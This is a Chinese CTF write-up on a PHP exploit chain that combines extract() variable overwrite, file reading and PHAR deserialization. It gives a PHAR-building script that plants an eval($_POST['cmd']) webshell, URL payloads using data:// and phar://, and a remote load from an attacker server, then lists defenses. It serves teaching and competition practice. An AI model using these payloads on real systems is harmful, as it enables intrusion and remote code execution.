老赛棍寒假复习计划——反序列化篇(一)
字数 1212 2025-08-15 21:33:46
PHP反序列化漏洞教学文档
一、反序列化漏洞基础
1.1 序列化与反序列化概念
- 序列化:将对象转换为可存储或传输的字符串格式
- 反序列化:将序列化后的字符串还原为对象
1.2 PHP反序列化漏洞成因
当应用程序接收用户可控的反序列化数据时,如果类中存在魔术方法(如__destruct()、__wakeup()等),攻击者可以构造恶意序列化数据来执行任意代码。
二、题目分析
2.1 题目环境
- 复现环境:百度网盘链接(提取码:7ryd)
- 题目类型:Web题目,涉及PHAR写入和反序列化
2.2 核心漏洞点
- 变量覆盖漏洞
- 文件读取漏洞
- PHAR反序列化漏洞
三、漏洞利用详解
3.1 变量覆盖漏洞
if(isset($_GET['var']) && is_array($_GET['var'])) {
extract($_GET['var'], EXTR_OVERWRITE);
}
利用方式:
- 通过GET参数
var[]传入数组 - 示例:
?var[template][tp1]=aaa会覆盖原$template变量
原理:
extract()函数将数组键名作为变量名,键值作为变量值EXTR_OVERWRITE参数表示覆盖已有变量
3.2 文件读取漏洞
if(isset($_GET['tp'])) {
$tp = $_GET['tp'];
if (array_key_exists($tp, $template) === FALSE) {
die("No! You only have 3 template to reader");
}
$content = file_get_contents($template[$tp]);
$temp = new Temp($content);
}
利用步骤:
- 通过变量覆盖修改
$template数组 - 构造
?var[template][tp1]=目标文件&tp=tp1 file_get_contents读取指定文件内容
3.3 PHAR反序列化
3.3.1 PHAR文件结构
PHAR(PHP Archive)文件包含:
- Stub文件头(如
GIF89a<?php __HALT_COMPILER(); ?>) - Manifest(包含元数据)
- 文件内容
- 签名(可选)
3.3.2 恶意PHAR构造
class Temp {
public $suffix;
public $content;
public $pattern;
}
@unlink("phar.phar");
$phar = new Phar('phar.phar');
$phar->startBuffering();
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER(); ?>');
$object = new Temp();
$object->suffix=".php";
$object->content="<?=eval(\$_POST['cmd']);?>";
$object->pattern="{{([a-z]+)}}";
$phar->setMetadata($object);
$phar->stopBuffering();
3.3.3 PHAR利用方式
- 通过data协议写入:
?var[template][tp1]=data://text/plain;base64,PHAR_BASE64&tp=tp1 - 通过phar协议触发反序列化:
?var[template][tp1]=phar://上传的文件路径&tp=tp1 - 远程文件读取(有外网时):
?var[template][tp1]=http://攻击者服务器/phar.phar&tp=tp1
四、完整利用链
4.1 无外网环境利用
- 构造恶意PHAR文件并获取base64编码
- 通过data协议写入:
/?var[template][tp1]=data://text/plain;base64,R0lGODlhPD9...&tp=tp1 - 通过phar协议触发反序列化:
/?var[template][tp1]=phar://upload/路径/文件.html&tp=tp1 - 访问生成的webshell:
/upload/路径/文件.php
4.2 有外网环境利用
- 将PHAR文件放在公网服务器
- 直接远程加载:
/?var[template][tp1]=http://攻击者服务器/phar.phar&tp=tp1 - 后续步骤相同
五、防御措施
-
避免不可信数据反序列化:
- 不要反序列化用户输入的任意数据
-
使用安全函数:
- 使用
json_encode()/json_decode()替代序列化/反序列化
- 使用
-
魔术方法审查:
- 检查类中的
__wakeup()、__destruct()等魔术方法
- 检查类中的
-
PHAR防御:
- 禁用
phar://协议 - 检查文件上传内容
- 禁用
-
变量覆盖防御:
- 避免使用
extract()处理用户输入 - 使用
EXTR_SKIP而非EXTR_OVERWRITE
- 避免使用
六、相关实验
建议通过实验加深理解:
- PHP反序列化漏洞实验
- PHAR文件构造实验
- 变量覆盖漏洞实验
通过本教学文档,您应该掌握了PHP反序列化漏洞的原理、利用方式及防御措施,特别是结合PHAR和变量覆盖的复合型漏洞利用方法。